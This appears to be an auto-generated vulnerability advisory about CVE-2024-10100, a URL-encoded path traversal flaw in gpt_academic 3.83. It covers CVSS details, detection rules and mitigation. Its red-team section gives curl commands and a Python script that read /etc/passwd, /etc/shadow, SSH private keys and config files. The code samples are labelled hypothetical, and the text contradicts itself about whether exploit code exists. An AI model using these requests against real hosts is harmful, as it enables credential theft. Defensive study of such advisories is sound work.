CVE-2024-10100
Executive Summary
CVE-2024-10100 is a path traversal vulnerability in binary-husky/gpt_academic version 3.83. The flaw arises from improper handling of the file parameter, which is open to path traversal through URL encoding. This allows an unauthenticated attacker to read arbitrary files on the host system, including sensitive files such as SSH keys, API keys, and configuration values. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. No public exploit code or nuclei template is available, but the attack vector is straightforward.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based project (gpt_academic). The package is distributed via PyPI and GitHub. Users should verify the integrity of their installation and monitor for updates. Since no patch is available, immediate mitigation is required.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is elevated due to the ease of exploitation and the potential for high confidentiality impact. The vulnerability allows reading of any file on the host system, including credentials and configuration files.
Deep Dive & Mechanics
The vulnerability exists in the file parameter handling within gpt_academic. The application fails to properly sanitize user-supplied input, allowing path traversal sequences (e.g., ../) to escape the intended directory. URL encoding can be used to bypass basic filters, enabling an attacker to read arbitrary files.
Example Attack Vector:
GET /file?file=..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: target
The server decodes the URL and processes the path, returning the contents of /etc/passwd. This can be extended to read SSH private keys, API keys, and other sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (version 3.83):
# Vulnerable: No path validation
def read_file(file_path):
with open(file_path, 'r') as f:
return f.read()
Patched Code (hypothetical):
# Patched: Validate and restrict path
import os
def read_file(file_path):
base_dir = "/safe/directory"
full_path = os.path.normpath(os.path.join(base_dir, file_path))
if not full_path.startswith(base_dir):
raise ValueError("Invalid path")
with open(full_path, 'r') as f:
return f.read()
The patched version uses os.path.normpath and checks that the resolved path starts with the allowed base directory.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy gpt_academic version 3.83 in a Docker container.
- Expose the web interface on port 8080.
Exploitation Steps:
- Identify the vulnerable endpoint:
GET /file?file=... - Use URL-encoded path traversal to read sensitive files:
curl "http://target:8080/file?file=..%2F..%2Fetc%2Fpasswd" - Extract SSH keys:
curl "http://target:8080/file?file=..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa" - Dump configuration files:
curl "http://target:8080/file?file=..%2F..%2Fapp%2Fconfig.json"
Automation Script:
import requests
target = "http://target:8080"
files = ["/etc/passwd", "/etc/shadow", "/home/user/.ssh/id_rsa", "/app/config.json"]
for f in files:
encoded = f.replace("/", "%2F").replace(".", "%2E")
url = f"{target}/file?file=..%2F..{encoded}"
r = requests.get(url)
print(f"File: {f}\n{r.text}\n")
Blue Team
Detection:
- Monitor for URL-encoded path traversal patterns in HTTP requests.
- Look for requests to
/file?file=with%2For..sequences. - Alert on access to sensitive files like
/etc/passwd,.ssh/, orconfig.json.
Hunting:
- Search web server logs for
%2For..in thefileparameter. - Correlate with outbound data exfiltration attempts.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/file?file=containing%2For.. - Outbound connections from the gpt_academic server to unknown IPs (data exfiltration)
- HTTP GET requests to
- File System:
- Unexpected reads of
/etc/passwd,/etc/shadow, SSH keys, or config files
- Unexpected reads of
- Logs:
- Web server logs showing path traversal attempts
Detection Engineering
YARA Rule
rule CVE_2024_10100_PathTraversal {
meta:
description = "Detects path traversal attempts in HTTP requests to gpt_academic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10100"
strings:
$traversal1 = "..%2F" ascii nocase
$traversal2 = "%2E%2E%2F" ascii nocase
$traversal3 = "file?file=" ascii nocase
$sensitive1 = "/etc/passwd" ascii nocase
$sensitive2 = ".ssh" ascii nocase
$sensitive3 = "config.json" ascii nocase
condition:
$traversal3 and ($traversal1 or $traversal2) and ($sensitive1 or $sensitive2 or $sensitive3)
}
Sigma Rule
title: CVE-2024-10100 Path Traversal in gpt_academic
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts via URL encoding in gpt_academic
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "file?file="
- "..%2F"
- "%2E%2E%2F"
condition: selection
falsepositives:
- Legitimate use of file parameter with encoded characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10100 Path Traversal in gpt_academic"; flow:to_server,established; content:"/file?file="; http_uri; content:"..%2F"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Input Validation: Implement strict validation of the
fileparameter. Reject any input containing..,%2F, or other path traversal sequences. - Path Restriction: Use a whitelist of allowed files or directories. Resolve the path to an absolute path and ensure it starts with the allowed base directory.
- Web Application Firewall (WAF): Deploy WAF rules to block path traversal patterns.
- Network Segmentation: Isolate the gpt_academic server to limit access to sensitive files.
Long-Term Fix:
- Apply the official patch once released by the vendor.
- Upgrade to a patched version of gpt_academic.
- Conduct a security audit of the application code.
Workaround:
- If patching is not possible, disable the vulnerable endpoint or restrict access via authentication.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.